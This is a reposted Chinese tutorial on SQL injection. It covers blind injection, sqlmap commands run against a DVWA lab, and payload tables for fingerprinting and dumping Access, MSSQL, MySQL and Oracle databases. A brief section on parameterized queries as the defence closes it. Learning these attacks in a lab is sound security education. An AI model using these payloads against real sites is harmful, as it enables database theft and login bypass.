SQL注入理解与防御
一、說明
sql注入可能是很多學(xué)習(xí)滲透測試的人接觸的第一類漏洞,這很正常因?yàn)閟ql注入可能是web最經(jīng)典的漏洞。但在很多教程中有的只講‘或and 1=1、and 1=2有的可能會(huì)進(jìn)一步講union select、update等注入時(shí)真正用的攻擊語句,但即便是后者更多的感覺像是跳到DBMS里去講就是把數(shù)據(jù)庫版本、數(shù)據(jù)庫名、表名、列名這些都當(dāng)作是已知的基于這個(gè)前提下去講。而在實(shí)際攻擊過程中版本、數(shù)據(jù)庫名、表名、列名都是需要自己去探測的。這就導(dǎo)致了你聽過無數(shù)的sql注入理論和高深的利用方法,到自己去測試時(shí)只會(huì)and 1=1或祭出sqlmap。
?
二、sql注入定義
sql注入就是閉合原先的sql語句并拼接上攻擊者想要執(zhí)行的sql語句。關(guān)鍵詞是閉合和拼接。
2.1 注入舉例
現(xiàn)有頁面:http://example.com/app/accountView?id=1
對應(yīng)后臺(tái)sql語句為:String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
當(dāng)前具體生成sql語句為:String query = "SELECT * FROM accounts WHERE custID='1';
現(xiàn)攻擊者將鏈接(id值)改為:http://example.com/app/accountView?id='or '1'='1
此時(shí)具體生成sql語句為:String query = "SELECT * FROM accounts WHERE custID=''or '1'='1';
or前的分號就起“封閉原先的sql語句”作用,or '1'='1就是“拼接上”的“攻擊者想要執(zhí)行的sql語句”。
?
2.2 常見注入說明
仍使用上面的例子
| 注入形式 | 形成注入語句 | 攻擊原理及效果 |
| ’(單引號) | String query = "SELECT * FROM accounts WHERE custID='‘' | custID等于三個(gè)單引號,這種形式sql解析器解析時(shí)會(huì)報(bào)錯(cuò),如果前端頁面也報(bào)錯(cuò)一是說明該參數(shù)會(huì)帶入sql解析器二是說明sql語句沒做過濾 |
| ’and ‘1’=‘1 'and '1'='2 | String query = "SELECT * FROM accounts WHERE custID='‘a(chǎn)nd '1'='1' String query = "SELECT * FROM accounts WHERE custID='‘a(chǎn)nd '1'='2' | 這兩條一起使用,由于’1‘=’1‘恒為真所以應(yīng)該有結(jié)果’1‘=’2‘恒為假所以應(yīng)該沒有結(jié)果,總之就是如果這兩者能導(dǎo)致頁面顯示有區(qū)別,那也可以說明該參數(shù)帶入sql解析器且沒做過濾。 ? |
| 'or '1'='1? | String query = "SELECT * FROM accounts WHERE custID=''or '1'='1'; | 'or '1'='1頁面正常返回可能是注入成功了也可能是做了過濾所以這種形式一般不能做為是否存在注入的檢測方法;'or '1'='1作用是取回表中所有結(jié)果,最常見的是用于繞過登錄 |
?
?
?
?
?
?
?
當(dāng)要注入的參數(shù)為整型時(shí)使用and1=1/and 1=2/or 1=1的形式,當(dāng)要注入的參數(shù)為字符串類型時(shí)需要平衡單引號所以等用上表中帶單引號的形式;在具體滲透時(shí)我們不知道是整型還是字符串類型只能靠正常訪問時(shí)賦給變量的值來做推測,一般來講主要是以字符串類型存諸即便是數(shù)字也經(jīng)常存為字符串取出時(shí)再轉(zhuǎn)為整型。
'or '1'='1我們上邊說其“最常見的是用于繞過登錄”。《Metasploit滲透測試魔鬼訓(xùn)練營》就使用了繞過登錄的例了,但繞過登錄現(xiàn)在并不那么好用除了登錄是重點(diǎn)防護(hù)區(qū)域之外現(xiàn)在都很強(qiáng)調(diào)密碼加密,password參數(shù)取回后先被md5(password)其中的單引號根本沒有“閉合”“拼接”的機(jī)會(huì)。當(dāng)然'or '1'='1“作用是取回表中所有結(jié)果”,所以其他地方還是有用武之地的。
另外還有'or 'a'='a這類形式,這是為了防上服務(wù)端專門針對'or '1'='1過濾而用的變種形式其本質(zhì)還是一樣的。
平衡右單引號也不是必須的,我們有時(shí)還可以看到‘or 1=1 --的形式,--是sql語句的注釋符號使用--右邊的單引號就被注釋掉不起作用了所以不需要平衡。其實(shí)--在注入不是原sql最后一個(gè)詞時(shí)有更大的用處,比如假設(shè)存在語句update user_table set password = 'default_password' where username = '" + request.getParameter("username") + "' and changeable = 'yes'其admin賬號chageable為no那么注入admin'or '1'='1也是改不了admin賬號的密碼的,但注入admin' --就可以改。
?
2.3 sql注入位置
我們要明確以下三點(diǎn):
參數(shù)被帶入數(shù)據(jù)庫時(shí),被帶入的CRUD的任何一處(即select、insert、update、delete)都是有可能的。
從理論上來講,無論被被帶入的是select、insert、update、delete我們都能注入任意的sql語句進(jìn)行數(shù)據(jù)庫操作。
想直接獲取數(shù)據(jù)表內(nèi)容那只能拼接select語句,insert、update、delete這三條語句也能在其后拼接select語句,但是由于這三條語句的服務(wù)器代碼不會(huì)向前端返回?cái)?shù)據(jù)的代碼,所以如果參數(shù)被帶入的是insert、update、delete拼接直接查詢數(shù)據(jù)表內(nèi)容的select語句是沒有意義的(當(dāng)然exists大于等于等符件性select還是有用,所以下方3.7.1獲取數(shù)據(jù)表內(nèi)容的方法還是可用的)。想直接獲取數(shù)據(jù)表內(nèi)容需要能注入的語句原本就是select語句(下方3.7.2 union select法)。
?
2.4 sql盲注
2.4.1 盲注與普通注入的區(qū)別
普通注入有兩個(gè)特征:一是會(huì)將數(shù)據(jù)庫的內(nèi)容查詢并回顯到頁面上(這是最主要的),二是會(huì)返回原始的數(shù)據(jù)庫錯(cuò)誤信息(這是次要的)。數(shù)據(jù)會(huì)回顯到頁面上,那么我們可以從返回的頁內(nèi)中提取我們的數(shù)據(jù)庫名等數(shù)據(jù)。
回顯內(nèi)容(admin處):
返回原始數(shù)據(jù)庫錯(cuò)誤信息:
盲注對應(yīng)的也有兩個(gè)特征:一是不會(huì)將數(shù)據(jù)庫內(nèi)容回顯到頁面上(這是主要的),二是不會(huì)返回原始的數(shù)據(jù)庫錯(cuò)誤信息。
不會(huì)將數(shù)據(jù)庫內(nèi)容回顯到頁面上(只告訴你存不存在):
不會(huì)返回原始的數(shù)據(jù)庫錯(cuò)誤信息(返回的是自定義的錯(cuò)誤信息):
?
2.4.2 盲注如何進(jìn)行
盲注場景中內(nèi)容不回顯到頁面上,我們就沒法從頁面提取內(nèi)容,那我們該如何獲取數(shù)據(jù)庫內(nèi)容呢。只有一種辦法,那就是把我們的猜測構(gòu)造成一個(gè)布爾表達(dá)式。
如果返回的內(nèi)容和原來一樣那該表達(dá)式的猜測就是對的,如果返回的內(nèi)容和原來不一樣那該表達(dá)式的猜測就是錯(cuò)的。比如"SELECT * FROM accounts WHERE custID='1'?and (length(database()))=8 -- "如果返回內(nèi)容和原來一樣(此時(shí)即and 1)那說明數(shù)據(jù)庫名稱長度為8字節(jié),如果不一樣(此時(shí)即and 0)則不是8字節(jié),繼續(xù)猜。
但“和原來一樣”這個(gè)說法可能有點(diǎn)問題,即我們需要監(jiān)測原來是怎樣的現(xiàn)在是怎樣的然后比較,這有點(diǎn)麻煩。我們改造成“SELECT * FROM accounts WHERE custID='1' and if( (length(database()))=8 , sleep(3), 1) -- ”,如果查詢出現(xiàn)了3秒延遲那說明數(shù)據(jù)庫名長度為8字節(jié),如果沒出現(xiàn)延遲則不是8字節(jié),繼續(xù)猜。
比較和原來是否一樣的形式即布爾型盲注,構(gòu)造延時(shí)這種形式即時(shí)間型盲注。
?
三、sql注入攻擊步驟
我們使用sqlmap或者更早以前的啊D、明小子,sql注入都是有一定步驟的,步驟也都是一樣的;手工注入一樣遵循這樣的步驟只是將工具各步敲的注入代碼改為手動(dòng)敲就而已。
可通過三種辦法探測sqlmap在各步中到底注入了哪些語句,第一種是閱讀源代碼這要要有較強(qiáng)的能力我試了一下并不能駕御。第二種是查看C:\Users\username\.sqlmap\ouput\hostname\log文件(該文件其實(shí)就是執(zhí)行sqlmap整個(gè)過程的控制臺(tái)輸出)sqlmap每次發(fā)的數(shù)據(jù)包都會(huì)以”Type-Title-Payload“三元組記錄。第三種是使用wireshark或帶上--proxy="http://127.0.0.1:8080"參數(shù)使用burpsuite截取sqlmap發(fā)送的數(shù)據(jù)包(sqlmap在ouput目錄下的文件有記住前面對鏈接的探測結(jié)果,即便其log文件中說本次探測發(fā)了這些payload其實(shí)也不一定真的發(fā)了,攔到的數(shù)據(jù)包和log感覺對不上時(shí)要明白這一點(diǎn))。
下邊各步注入代碼整理自《大中型網(wǎng)絡(luò)入侵要案直擊與防御》沒有逐條核實(shí),簡單對比了一下sqlmap探測的載荷在編碼等方面有差別但意思是基本一致的,也就差不多了。
另外常會(huì)聽說數(shù)據(jù)庫提權(quán),我們要明確系統(tǒng)賬號可以是數(shù)據(jù)庫賬號但數(shù)據(jù)庫賬號不可能是系統(tǒng)賬號,所謂數(shù)據(jù)庫提權(quán)只是調(diào)用能執(zhí)行系統(tǒng)命令的數(shù)據(jù)庫擴(kuò)展添加系統(tǒng)賬號。
在確認(rèn)是注入點(diǎn)之后,注入獲取庫名、表名、列名、字段內(nèi)容,其考驗(yàn)的不再是什么滲透測試能力,而是對sql和當(dāng)前數(shù)據(jù)庫(比如oracle)的熟練程度。
這里使用dvwa作為演示環(huán)境,演示的是普通sql注入的注入過程,盲注需要另行將注入語句改造成類似“1' and if(select ascii(substring((select database()),1,1))=119,sleep(3),1) -- ”的形式。
?
3.1 使用sqlmap的攻擊步驟
# 查看sqlmap幫助 python sqlmap.py -h # 查看sqlmap詳細(xì)幫助 python sqlmap.py -hh# 以下各步,注意使用--data設(shè)置post內(nèi)容,使用--cookie設(shè)置cookie,使用--referer設(shè)置referer,使用--proxy設(shè)置代理 # 以下各步,我以dvwa為例,但為了觀察體驗(yàn)將有身份認(rèn)證信息的--cookie刪除了,自己用dvwa要注意帶上--cookie # 以下各步,如果中途出現(xiàn)選擇自己不懂選哪個(gè),推薦直接按回車使用sqlmap默認(rèn)值 # 第一步,確認(rèn)目標(biāo)參數(shù)。如果是get那么直接用-u接url即可,如是是post那么需要使用--data="username=admin&password=toor"形式 # 第二步,確認(rèn)動(dòng)態(tài)參數(shù)。 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" # 第三步,爆出數(shù)據(jù)庫類型 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --banner # 第四步,爆出數(shù)據(jù)庫名 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --dbs # 第五步,猜解數(shù)據(jù)庫表。使用-D指定要猜解數(shù)據(jù)表的數(shù)據(jù)庫,假設(shè)為dvwa數(shù)據(jù)庫 python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa --tables # 第六步,猜解字段名。使用-D指定數(shù)據(jù)庫,使用-T指定要猜解字段名的表,假設(shè)為dvwa數(shù)據(jù)庫數(shù)據(jù)表為users python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --columns # 第七步,猜解字段值。使用-D指定數(shù)據(jù)庫,使用-T指定表,使用-C指定要猜解其內(nèi)容的列,假設(shè)為dvwa數(shù)據(jù)庫數(shù)據(jù)表為users列為user_id和user python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users -C user_id,user --dump # 第八步,拖庫。其實(shí)使用--dump時(shí)就已經(jīng)將數(shù)據(jù)以csv格式保存到了C:\Users\username\.sqlmap\output\server_ip\dump\database_name目錄下 # 第八步,拖庫。我們可以使用--dump-format配置輸出格式,使用 --output-dir重定向輸出目錄。 # 第八步,拖庫。參數(shù)指定到什么范圍就下載什么范圍的數(shù)據(jù),以下載dvwa庫users表所有以SQLITE格式輸出到當(dāng)前目錄為例(本質(zhì)仍是server_ip\dump\database_name) python sqlmap.py -u "http://10.10.6.91//dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -D dvwa -T users --dump --dump-format=SQLITE --output-dir=.?
3.2 手工注入的攻擊步驟
第一步,確認(rèn)目標(biāo)參數(shù)
我們首先要確定要測試哪些參數(shù)。在以前參數(shù)還是比較容易確定的,比如前面說的http://example.com/app/accountView?id=1,問號后邊的參數(shù)大多是動(dòng)態(tài)參數(shù)。
但現(xiàn)在都講restful,所以首先參數(shù)并不一定在問號后邊,比如url可能變成http://example.com/app/accountView/1/這樣的;其次大多參數(shù)都是post的,所以目標(biāo)要從url更多轉(zhuǎn)移到post數(shù)據(jù)上。
第二步,確認(rèn)動(dòng)態(tài)參數(shù)
動(dòng)態(tài)參數(shù)就是帶入數(shù)據(jù)庫的參數(shù),很多參數(shù)是不帶入數(shù)據(jù)庫的而只有帶入數(shù)據(jù)庫的參數(shù)才有可能導(dǎo)致sql注入,所以我們需要確認(rèn)哪些參數(shù)是動(dòng)態(tài)參數(shù)。
沒具體去分析sqlmap等工具是怎么確定一個(gè)參數(shù)是不是動(dòng)態(tài)參數(shù),我們可以使用前面說的單引號法和1=1/1=2法,如果參數(shù)有過濾不能注入那我們權(quán)當(dāng)他不是動(dòng)態(tài)參數(shù)也一樣的。
第三步,爆出數(shù)據(jù)庫類型
因?yàn)殡m然數(shù)據(jù)庫都兼容sql92但不同的數(shù)據(jù)庫其具有的系統(tǒng)庫表和擴(kuò)展功能都是不一樣的,這導(dǎo)致我們后續(xù)查詢庫名、表名、列名具體注入語句會(huì)隨數(shù)據(jù)庫的不同而有差異,所以首先要確認(rèn)服務(wù)端使用的是什么數(shù)據(jù)庫,是oracle還是mysql還是其他。
和檢測操作系統(tǒng)等類似,判斷是什么數(shù)據(jù)庫也是用“指紋”的形式,數(shù)據(jù)庫的指紋就是數(shù)據(jù)庫支持的注釋符號、系統(tǒng)變量、系統(tǒng)函數(shù)、系統(tǒng)表等,所以應(yīng)該可以整理出更多的檢測語句。
| 數(shù)據(jù)庫 | 注入語句 | 原理 | 用處 |
| access | and user>0 | user是mssql內(nèi)置變量,類型為nvarchar;nvarchar與int比較會(huì)報(bào)錯(cuò) | msqql和access報(bào)錯(cuò)不一樣可區(qū)分?jǐn)?shù)據(jù)庫是mssql還是access |
| mssql | and (select count(*) from sysobjects) >= 0 and (select count(*) from msysobjects) >= 0 | mssql存在sysobjects不存在msysobjects,上句不會(huì)報(bào)錯(cuò)下句會(huì)報(bào)錯(cuò) access不存在sysobjects存在msysobjects,上句會(huì)報(bào)錯(cuò)下句不會(huì)報(bào)錯(cuò) | 可用于確認(rèn)數(shù)據(jù)庫是mssql還是access |
| multi | ?/* -- ; | ?mysql支持的注釋 mssql和oracle支持的注釋 oracle不支持多行 | ?報(bào)錯(cuò)說明不是mysql 不報(bào)錯(cuò)可能是mssql或oracle 報(bào)錯(cuò)極有可能是oracle |
| mysql | select @@version select database() | @@version是mysql的內(nèi)置變量 database()是mysql的內(nèi)置函數(shù) | 返回正常可能是mysql |
| oracle | and exists(select * from dual) and (select count(*) from user_tables)>0 -- | dual和user_tables是oracle的系統(tǒng)表 | 如果返回正常則說明是oracle |
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
第四步,爆出數(shù)據(jù)庫名
| 數(shù)據(jù)庫 | 注入語句 | 說明 |
| access | ? | access一個(gè)數(shù)據(jù)庫對應(yīng)一個(gè)文件,獲取文件名沒有很大意義 |
| mssql | and db_name() = 0 and db_name(n) > 0 | 從返回的報(bào)錯(cuò)信息中可獲取當(dāng)前數(shù)據(jù)庫名 返回的報(bào)錯(cuò)信息中有第n個(gè)數(shù)據(jù)庫的庫名 |
| mysql | and 1=2 union select 1,database()/* and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit n,1 select group_concat(schema_name) from information_schema.schemata | 爆出當(dāng)前數(shù)據(jù)庫名 n為幾就返回第幾個(gè)數(shù)據(jù)庫的庫名返回空就表示沒有更多數(shù)據(jù)庫了 返回所有數(shù)據(jù)庫名 |
| oracle | ?and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5...from dual and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<> '上一庫名'),4,5... from dual | ?返回第一個(gè)庫名 返回當(dāng)前用戶所擁有的下一庫名 |
?
?
?
?
?
?
?
?
?
?
?
?
第五步,猜解數(shù)據(jù)庫表名
| 數(shù)據(jù)庫 | 注入語句 | ?說明 |
| access | and exists(select * from table_name) and (select count(*) from table_name) >= 0 | ?不斷測試table_name 如果返回正常那說明該表存在 |
| ?mssql | and (select cast(count(1) as varchar(10))%2bchar(94) from [sysobjects] where xtype=char(85) and status != 0)=0 -- and (select top 1 cast(name as varchar(256)) from (select top n id,name from [sysobjects] where xtype=char(85) and status != 0 order by id)t order by id dsec)=0-- and 0<>(select top 1 name from db_name.dbs.sysobjects where xtype=0x7500 and name not in (select top n name from db_name.dbo.sysobjects where xtype=0x7500)) -- | ?可爆出當(dāng)前數(shù)據(jù)庫表的數(shù)量 n為幾就輸出第幾張表的表名 n為幾就輸出db_name庫第幾張表的表名 |
| ?mysql | ?and union select 1,table_name from information_schma.tables where table_schema=database() limit n,1-- select group_concat(table_name) from information_schema.tables where table_schema=database() | ?n為幾就返回當(dāng)前第幾張表的表名 返回當(dāng)前庫的所有表名 |
| oracle | and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'上一表名'),4,5...from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like '%25pass%25'),4,5... from dual | 返回第一個(gè)表名 返回下一個(gè)表名 返回包含pass的表名 |
?
?
?
?
?
?
?
?
?
?
?
?
?
?
第六步,猜解字段名
| 數(shù)據(jù)庫 | 注入語句 | ? |
| access | and exists(select column_name from table_name) and (select count(column_name) from table_name) >=0 | ?table_name使用上一步得到的表名,不斷試column_name 如果返回正常則說明該字段存在 |
| ?mssql | having 1=1 -- group by 字段名1 having 1=1 -- group by 字段名1,字段名2 having 1=1 -- | 可獲取表名和第一個(gè)字段名 ?可以得到第二個(gè)字段名 可以得到第三個(gè)字段名 |
| ?mysql | ?and 1=2 union select 1,column_name from information_schema.columns where table_name =ascii_table_name limit n,1-- select group_concat(column_name) from information_schema.columns where table_name=ascii_table_name | ?ascii_table_name表示要查的表的表句的十六進(jìn)制型示n為幾就返回第幾字段的字段名 返回指定表名的所有字段 |
| oracle | and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and rownum=1),4,5... from dual and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name ='table_name' and column<> '上一字段名' and rownum=1),4,5... from dual | 返回第一個(gè)字段名 返回下一個(gè)字段名 |
?
?
?
?
?
?
?
?
?
?
?
?
?
?
第七步,猜解字段值
獲取字段內(nèi)容,各數(shù)據(jù)庫的方法是比較通用的,當(dāng)然也有一些自己特色的獲取方法我這里就不管了
方法一:逐字節(jié)猜解法
首先猜解出字段長度,然后再逐字節(jié)猜解。
and (select top 1 len(column_name) from table_name > 1
and (select top 1 len(column_name) from table_name > 2
..
and (select top 1 len(column_name) from table_name > n-1
and (select top 1 len(column_name) from table_name > n
當(dāng)n-1正常n錯(cuò)誤時(shí)說明字段長度為n(二分法快一些)
and (select top 1 asc(mid(cloumn_name,1,1)) from table_name > 0
and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > 1
..
and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > n-1
and (select top 1?asc(mid(cloumn_name,1,1)) from table_name > n
n-1正常n錯(cuò)誤時(shí)說明字段值第一位ascii碼值為n,再使用mid(cloumn_name,2,1)等繼續(xù)猜解后續(xù)各個(gè)位直至n即可
?
方法二:union select法
上邊的逐字節(jié)猜解法是相當(dāng)費(fèi)勁的,使用union select能更快捷地獲取字段值。
由于union select要求兩邊的select返回的select字段數(shù)要一樣,所以首先使用order by猜解前邊select返回結(jié)果的字段數(shù):
order by 1
order by 2
...
order by n-1
order by n
n-1正常,n報(bào)錯(cuò)時(shí)說明原先select字段數(shù)為n
然后使用union select查出表中內(nèi)容
and 1=2 union select 1,2...,n from table_name----and 1=2是為了使原本的select結(jié)果為空,頁面中出現(xiàn)數(shù)字x說明該處是顯示的是第x字段的結(jié)果將x替換為字段名該處即會(huì)呈現(xiàn)該字段的內(nèi)容
and 1=2 union select 1,2..,column_name..,n from table_name----上邊的x替換成column_name,頁面中x處即會(huì)顯示column_name字段的內(nèi)容
?
3.3 手工注入演示
環(huán)境使用phpStudy+DVWA,為了更形象地還原注入場景我們真接在頁面演示,并會(huì)給出注入時(shí)真正執(zhí)行的SQL語句。
第一步,確認(rèn)目標(biāo)參數(shù)。請求鏈接為http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,所以目標(biāo)參數(shù)為id和Submit。
第二步,確認(rèn)動(dòng)態(tài)參數(shù)。Submit是按鈕不是動(dòng)態(tài)參數(shù)直接跳過;輸入“1' and 1 = 1 -- ”時(shí)無報(bào)錯(cuò)且有結(jié)果,輸入“1' and 1 = 2 -- ”時(shí)無報(bào)錯(cuò)無結(jié)果,所以判斷id是可注入?yún)?shù)且為字符串類型。
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 1 -- ';)
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 -- ';)
第三步,確認(rèn)當(dāng)前查詢列數(shù)。注入載荷”1' order by n -- “,執(zhí)行到n為3時(shí)報(bào)錯(cuò)(Unknown column '3' in 'order clause'),說明原先的查詢語句是兩列。
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 -- ';)
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 3 -- ';)
第四步,確認(rèn)哪些列會(huì)被回顯到頁面上。注入“1' and 1 = 2 union select 1,2 -- ”,可以看到第一列和第二列都會(huì)回顯到頁面上,且第一列是First name的值第二列是Surname的值。
第五步,爆出數(shù)據(jù)庫類型。將第二列改為@@version,注入“1' and 1 = 2 union select 1,@@version -- ”,有返回結(jié)果且為5.5.53,所以判斷數(shù)據(jù)庫為mysql且版本為5.5.53。
?(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1 = 2 union select 1,@@version -- ';)
第六步,爆出數(shù)據(jù)庫名。經(jīng)上步我們已經(jīng)知道是mysql所以可以確定地使用mysql的注入載荷。注入“1' and 1=2 union select 1,database() -- ”,可見當(dāng)前數(shù)據(jù)庫名為dvwa。
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,database() -- ';)
第七步,猜解數(shù)據(jù)庫表名。注入“1' and 1 = 2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ”,返回結(jié)果說明當(dāng)前數(shù)據(jù)庫中有g(shù)uestbook和users兩個(gè)表。
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- ';)
?第八步,猜解字段名。注入"1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ",從返回結(jié)果可以看出users表有user_id,first_name,last_name,user,password,avatar,last_login,failed_login等幾列。
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' -- ';)
第九步,猜解字段值。以獲取當(dāng)前數(shù)據(jù)庫,users表,first_name和password列為例。注入"1' and 1=2 union select first_name,password from users -- ",獲取內(nèi)容如下圖。
(真實(shí)執(zhí)行sql語句為:SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 union select first_name,password from users -- ';)
?
四、SQL注入防御
構(gòu)造的sql語句時(shí)使用參數(shù)化形式而不使用拼接方式能夠可靠地避免sql注入;主流的數(shù)據(jù)庫和語言都支持參數(shù)化形式,可參考維基百科“參數(shù)化查詢”。
拼接加對輸入進(jìn)行單引號和sql關(guān)鍵字過濾的方法也能在一定程度上防護(hù)sql注入,但是由于數(shù)據(jù)庫的具有注釋符/連接符、支持十六進(jìn)制寫法、具有char()等編碼函數(shù)可以使sql語句變換成多種多樣的形式,所以這種方法并不可靠。
?
參考:
https://www.acunetix.com/websitesecurity/blind-sql-injection/
德丸浩-《Web應(yīng)用安全權(quán)威指南》
肖遙-《大中型網(wǎng)絡(luò)入侵要案直擊與防御》
轉(zhuǎn)載于:https://www.cnblogs.com/lsdb/p/9612424.html
總結(jié)
以上是生活随笔為你收集整理的SQL注入理解与防御的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Linu下安装ffmpeg
- 下一篇: mimic-iii数据库_财务会计应用程